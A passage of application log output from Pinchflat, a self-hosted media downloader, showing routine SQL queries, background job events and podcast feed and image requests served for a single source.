m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:38:09.435 [debug] QUERY OK source="media_items" db=0.9ms idle=105.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:38:09.437 [debug] QUERY OK source="media_items" db=0.4ms queue=0.5ms idle=106.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 16:38:09.517 [debug] QUERY OK source="tasks" db=35.6ms idle=47.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [88, 1, ~U[2026-01-10 16:38:09Z], ~U[2026-01-10 16:38:09Z]] 16:38:09.521 [info] {"args":{"id":1},"id":87,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":12932761,"event":"job:stop","queue_time":211666,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 16:38:28.534 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:32.467 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:38:32.468 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:38:32.470 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=1380.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:38:32.475 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=1383.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:38:32.477 [debug] QUERY OK source="source_metadata" db=0.3ms idle=779.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:38:32.479 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=389.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:38:32.480 [info] Sent 200 in 12ms 16:38:56.920 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:38:58.536 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.352 [info] {"source":"oban","duration":2578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:28.540 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:58.542 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.354 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:08.895 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:40:08.896 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:40:08.898 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=970.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:40:08.900 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=810.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:40:08.901 [debug] QUERY OK source="source_metadata" db=0.6ms idle=812.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:40:08.903 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=813.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:40:08.904 [info] Sent 200 in 8ms 16:40:28.545 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:58.547 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.356 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:28.551 [info] {"source":"oban","duration":2209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:56.956 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:41:58.554 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.357 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:28.557 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:58.559 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.359 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:28.562 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:35.974 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:43:36.023 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:43:36.025 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1928.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:43:36.027 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=1930.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:43:36.030 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1933.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:43:36.031 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.3ms idle=1513.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:43:36.031 [info] Sent 200 in 56ms 16:43:58.565 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.360 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:20.191 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed_image.jpg 16:44:20.191 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.feed_image/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:44:20.242 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1146.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:44:20.244 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=608.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) LIMIT ? [1, 1] 16:44:20.295 [debug] QUERY OK source="source_metadata" db=50.4ms queue=0.2ms idle=149.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:44:20.296 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=200.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [24] 16:44:20.297 [info] Sent 200 in 105ms 16:44:26.708 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed_image.jpg 16:44:26.708 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.feed_image/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:44:26.709 [debug] QUERY OK source="sources" db=0.7ms idle=613.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:44:26.725 [debug] QUERY OK source="media_items" db=14.6ms queue=0.1ms idle=614.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) LIMIT ? [1, 1] 16:44:26.726 [debug] QUERY OK source="source_metadata" db=0.7ms queue=0.1ms idle=630.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:44:26.727 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=631.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [24] 16:44:26.728 [info] Sent 200 in 19ms 16:44:28.567 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:35.581 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed_image.jpg 16:44:35.581 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.feed_image/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:44:35.583 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1486.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:44:35.584 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1488.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) LIMIT ? [1, 1] 16:44:35.586 [debug] QUERY OK source="source_metadata" db=0.7ms queue=0.1ms idle=1490.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:44:35.587 [debug] QUERY OK source="media_metadata" db=1.0ms idle=1491.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [24] 16:44:35.587 [info] Sent 200 in 6ms 16:44:38.444 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed_image.jpg 16:44:38.444 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.feed_image/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:44:38.445 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1349.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:44:38.447 [debug] QUERY OK source="media_items" db=0.5ms queue=0.7ms idle=1350.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) LIMIT ? [1, 1] 16:44:38.448 [debug] QUERY OK source="source_metadata" db=0.6ms idle=1352.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:44:38.451 [debug] QUERY OK source="media_metadata" db=1.6ms idle=1353.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [24] 16:44:38.451 [info] Sent 200 in 7ms 16:44:58.569 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.362 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:10.532 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:45:10.533 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:45:10.534 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=768.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:45:10.537 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=440.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:45:10.539 [debug] QUERY OK source="source_metadata" db=0.3ms queue=0.4ms idle=443.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:45:10.541 [debug] QUERY OK source="media_metadata" db=1.0ms queue=0.4ms idle=444.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:45:10.541 [info] Sent 200 in 9ms 16:45:28.651 [info] {"source":"oban","duration":80943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:58.653 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.364 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:28.656 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:58.660 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.366 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:28.662 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:57.960 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:47:57.960 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:47:57.961 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1865.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:47:57.963 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1866.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:47:57.964 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1802.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:47:57.965 [debug] QUERY OK source="media_metadata" db=0.2ms queue=0.1ms idle=869.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:47:57.966 [info] Sent 200 in 5ms 16:47:58.664 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.368 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:28.666 [info] 